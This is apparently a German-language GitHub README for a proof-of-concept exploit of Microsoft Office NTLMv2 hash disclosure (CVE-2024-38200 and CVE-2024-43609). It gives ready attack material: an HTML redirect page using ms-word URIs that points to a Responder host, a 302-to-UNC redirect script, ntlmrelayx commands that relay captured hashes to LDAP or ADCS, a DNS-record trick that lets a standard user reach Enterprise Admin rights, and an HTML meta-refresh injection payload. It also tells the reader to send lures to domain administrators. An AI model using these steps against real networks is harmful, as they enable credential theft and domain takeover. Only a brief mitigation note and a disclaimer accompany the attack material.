passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Microsoft Office NTLMv2-Offenlegungsschwachstelle
Das Erfassen des NTLMv2-Hashes über die HTTP-Methode wurde nicht behoben. Der NTLMv2-Hash-Wert kann weiterhin über HTTP erlangt und an LDAP oder ADCS weitergereicht werden. MSRC erklärte zu dieser Situation: „So wie dargestellt, scheint dies Teil des aktuellen Designs zu sein.“
Selbst wenn diese Schwachstelle behoben wird, kann der Hash-Wert – wie im Abschnitt Integrierte Windows-Authentifizierung beschrieben – weiterhin mit den Standardeinstellungen erlangt und weitergereicht werden.
Zuvor wurde eine Methode zum Erfassen von NTLMv2-Hashes über SMB mithilfe der Office-URI-Schemas geteilt. Die Grundidee war einfach. Senden Sie die URL der folgenden HTML-Datei an das Opfer und erfassen Sie den NTLMv2-Hash über SMB. LINK
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
Das ist der inspirierende Punkt für mich. Wenn wir uns die Seite Office URI Schemes ansehen, sehen wir, dass https:// innerhalb des URI-Schemas verwendet wird. Diese Situation deutet darauf hin, dass http:// potenziell ebenfalls verwendet werden kann. Das Erfassen des NTLMv2-Hashes über HTTP ist vorteilhafter als über SMB, um einen NTLM-Relaying-Angriff gegen einen Domänencontroller durchzuführen Relaying Chart.
Als ich die URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx gegen Office 2016 MSO (16.0.4266.1001) 32-Bit verwendete, erschien ein Warnfeld, um den Benutzer vor bösartigen Aktivitäten zu schützen, aber das kann ich für Microsoft 365 Office und Office 2019 nicht behaupten. Diese Versionen greifen ohne Warnung auf eine entfernte Office-Datei zu und können ausgenutzt werden, um den NTLMv2-Hash über SMB- und HTTP-Protokolle zu erfassen.
Ich habe festgestellt, dass der Patch für CVE-2024-38200 nicht korrekt angewendet wurde. Nach der Veröffentlichung des Patches habe ich die Schwachstelle gegen Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) und Microsoft 365 MSO 2408 Build 16.0.17928.20114 getestet und festgestellt, dass die Schwachstelle weiterhin wie unten gezeigt ausgenutzt werden kann CVE-2024-43609.
Wir können eine HTTP-Anfrage per 302-Weiterleitung auf einen UNC-Pfad umleiten, wenn eine Office-Anwendung eine Anfrage über Office-URI-Schemas stellt (z. B. ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). Das Skript uncredirect.py verarbeitet die HTTP-Anfrage, die mit einem MS-Office-URI-Schema gesendet wird, und leitet sie auf einen UNC-Pfad um, der die IP-Adresse von Responder enthält. Diese Situation würde es ermöglichen, den NTLMv2-Hash über SMB zu erfassen und die Sicherheitsbeschränkung für die URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx zu umgehen.
uncredirect.py und responder.office.html an den Benutzer des Opfers.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
Das Erfassen des NTLMv2-Hashes über HTTP ist für das Relaying an LDAP vorteilhafter als über SMB. Wenn eine Datei über eine Office-URI angefordert wird, kann der NTLMv2-Hash über HTTP erlangt werden, ohne mithilfe einer 302-Weiterleitung auf einen UNC-Pfad umzuleiten. Diese Ausnutzungsmethode kann nicht über das Internet durchgeführt werden, da – sofern keine Fehlkonfiguration in den Internetoptionen vorliegt – für einen Host außerhalb des Unternehmensnetzwerks keine NTLM-Authentifizierung über HTTP erfolgt.
Ich glaube jedoch, dass dies eine effektive Methode für Relaying-Angriffe und die Eskalation von Berechtigungen ist.
Die Einstellungen der „Internetoptionen“ beeinflussen das NTLM-Authentifizierungsverhalten von Office-Anwendungen. Wir können dies an einigen Beispielen sehen. Nehmen wir an, wir verwenden das URI-Format ms-excel:ofe|u|http://192.168.1.7/leak.xlsx, um den NTLMv2-Hash zu erfassen.
Wenn eine der unten aufgeführten GPOs auf einen in die Domäne eingebundenen Opfercomputer angewendet wird, führt die Office-Anwendung die Authentifizierung automatisch durch.
Automatische Anmeldung mit aktuellem Benutzernamen und Kennwort ist für Benutzerauthentifizierung in der Internetzone festgelegtLokales Intranet hinzugefügt (z. B. 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Vertrauenswürdige Sites hinzugefügt (z. B. 192.168.*.* , 192.168.0-255.* , 192.168.1.7) und Automatische Anmeldung mit aktuellem Benutzernamen und Kennwort ist für Benutzerauthentifizierung in der Zone Vertrauenswürdige Sites festgelegt
Falls eine der oben genannten GPOs angewendet wird, wird nach dem Klick des Opferbenutzers auf die URI die Datei leak.docx von der Office-Anwendung vom Server des Angreifers abgerufen und der NTLMv2-Hash erlangt, da die angewendete GPO bewirkt, dass die NTLM-Authentifizierung automatisch erfolgt.
Beispielszenario für den Missbrauch der GPO:
Nachdem die Office-URI mit der IP-Adresse festgelegt wurde (z. B. ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), können wir die URL der office.html an einen Benutzer mit Domänenadministratorrechten senden und den erfassten Hash mithilfe von ntlmrelayx an den LDAP(S)-Server weiterleiten. Der ntlmrelayx erstellt mit nur einem Klick auf die Schaltfläche „Öffnen“ einen neuen Benutzer und fügt ihn zur Gruppe „Enterprise-Admins“ hinzu.
Hinweis:
Die über GPO hinzugefügten Sites können mithilfe der folgenden Registrierungsschlüssel aufgelistet werden.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
Wenn keine der oben genannten GPOs angewendet wird, erfolgt die NTLM-Authentifizierung nicht automatisch. Wenn wir jedoch einen DNS-A-Eintrag hinzufügen und diesen Eintrag in der Office-URI verwenden, betrachtet Windows den Hostnamen als Teil der Intranetzone. Auf diese Weise erfolgt die NTLMv2-Authentifizierung automatisch, und ein Standardbenutzer kann Berechtigungen eskalieren, ohne eine fehlkonfigurierte GPO zu benötigen. Jeder Domänenbenutzer mit Standardrechten kann einen nicht vorhandenen DNS-Eintrag hinzufügen – daher funktioniert dieser Angriff mit den Standardeinstellungen für einen Domänenbenutzer.
office.html kann von jedem Server bereitgestellt werden, der für den Benutzer des Opfers erreichbar ist (z. B. https://office.com/office.html). Ich habe Port 8081 für Apache festgelegt, da ntlmrelayx standardmäßig Port 80 verwendet. Alternativ können wir --http-port mit ntlmrelayx verwenden. Tragen Sie den hinzugefügten Eintrag in die Office-URI innerhalb der Datei office.html ein.
Starten Sie ntlmrelayx: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
Senden Sie die URL der Datei office.html an einen Benutzer mit Domänenadministratorrechten. Sie sollten vor dem Senden der URL überprüfen, ob der DNS-Eintrag mit dem Befehl ping aufgelöst wird.
Wenn der Benutzer des Opfers die URL besucht, reicht ein Klick auf die Schaltfläche „Öffnen“, um den NTLMv2-Hash zu erfassen. (keine Warnung!)
Der über HTTP erfasste NTLMv2-Hash wird mit ntlmrelayx an den Domänencontroller weitergeleitet. Dadurch kann ein Standardbenutzer mit nur zwei Klicks unter den Standardkonfigurationen DCSync- und Enterprise-Admins-Berechtigungen erlangen.
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
Hinweis-1: Wenn ein in die Domäne eingebundener Server kompromittiert ist und das Ausführen von inveigh oder ntlmrelayx möglich ist, ist das Hinzufügen eines DNS-Eintrags nicht erforderlich.
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office-URI: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
Hinweis-2: Als weitere Option kann der Hash des Opferbenutzers anstelle von LDAP an ADCS weitergereicht werden:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
Dieser Proof of Concept wurde auf Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) und Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176) durchgeführt.
Jeder, der Windows in einer Intranet-Unternehmensumgebung verwendet hat, wird möglicherweise festgestellt haben, dass der Zugriff auf Unternehmensressourcen in einem Netzwerk reibungslos verläuft und in vielen Fällen keine explizite Authentifizierungsaufforderung für Anmeldeinformationen außer der anfänglichen Windows-Domänenanmeldung erfordert. Dies gilt für verschiedene Dienste wie zugeordnete Netzwerklaufwerke, Intranet-Websites und mehr. Die Microsoft-basierten Browser Internet Explorer und Edge verwenden das Konzept vertrauenswürdiger Zonen: Internet, Lokales Intranet, Vertrauenswürdige Sites und Eingeschränkte Sites. Jede Zone hat eine andere Sicherheitsstufe und damit verbundene Einschränkungen. Beispielsweise deaktiviert der Internet Explorer für Sites der Intranetzone den XSS-Filter, führt ActiveX-Plug-Ins aus, führt automatische Anmeldungen durch und verfügt insgesamt über weniger Sicherheitskontrollen als für Internetsites. Standardmäßig führen Internet Explorer und Edge die Authentifizierung automatisch durch, wenn ein Webserver über eine durch NTLM-Authentifizierung geschützte Ressource verfügt und sich die Website entweder im Unternehmensintranet befindet oder in den Vertrauenswürdigen Sites auf der Whitelist steht, wobei das Konzept vertrauenswürdiger Zonen berücksichtigt wird. Andere Browser wie Mozilla Firefox und Google Chrome unterstützen ebenfalls die automatische NTLM-Anmeldung. Chrome stützt sich auf dieselben Einstellungen wie der Internet Explorer; bei Firefox ist diese Konfiguration standardmäßig nicht aktiviert und muss manuell über about:config geändert werden.
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
Damit sich ein Remote-Host bei Ihnen authentifizieren kann, beispielsweise als Folge der Verwendung eines UNC-Pfads, müssen bestimmte Bedingungen erfüllt sein. Vor allem, um die Wahrscheinlichkeit des Verlusts von Hashes an externe Netzwerke wie das Internet zu minimieren, muss sich Ihr System in der Zone „Lokales Intranet“ befinden. Der einfachste Weg, diese Anforderung zu erfüllen, wenn Sie bereits einen Fuß in das interne Netzwerk des Ziels gefasst haben, ist die Verwendung des NetBIOS-Namens Ihres Systems. Das heißt, wenn Sie sich auf workstation1.contoso.com befinden, sollten Sie in Ihrem UNC-Pfad workstation1 verwenden, um es in die lokale Intranetzone zu zwingen.
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
Wie bereits erwähnt, wirken sich Änderungen an den Internetoptionen auch auf das NTLM-Authentifizierungsverhalten der Browser Edge und Chrome aus. Diese Browser unterstützen die automatische NTLM-Authentifizierung, und Windows nimmt an, dass eine HTTP-Verbindung mit NetBIOS-Namen innerhalb der Intranetzone liegt, und führt die NTLM-Authentifizierung durch. Mir wurde später klar, dass – wie im PoC angegeben –, wenn ein DNS-Eintrag erstellt und eine URL mit NetBIOS-Namen (z. B. http://kali14/notexist.html ) an einen Benutzer gesendet wird, der NTLMv2-Hash des Benutzers erfasst und weitergereicht werden kann, wenn die URL in Edge- oder Chrome-Browsern aufgerufen wird. Wenn wir den NTLMv2-Hash eines privilegierten Benutzers mit ntlmrelayx an LDAP(s) weiterleiten, können wir mit den Standardeinstellungen Berechtigungen in der Domäne eskalieren.
Edge:
Chrome:
Anstatt den Link an den Benutzer zu senden, kann HTML-Injection verwendet werden, um den NTLMv2-Hash zu erfassen:
kali14<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
Alle lokalen (Intranet-)Sites einschließen, die nicht in anderen Zonen aufgeführt sind in den Einstellungen der lokalen Intranetsites, um die automatische NTLM-Authentifizierung über HTTP zu blockieren. Die betreffende Option ist standardmäßig ausgewählt. 
Hinweis: Dieser Exploit wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch die Anwendung dieses Exploits verursacht werden. Die unbefugte Verwendung dieses Codes in Umgebungen, in denen Sie keine ausdrückliche Genehmigung haben, ist illegal und unethisch.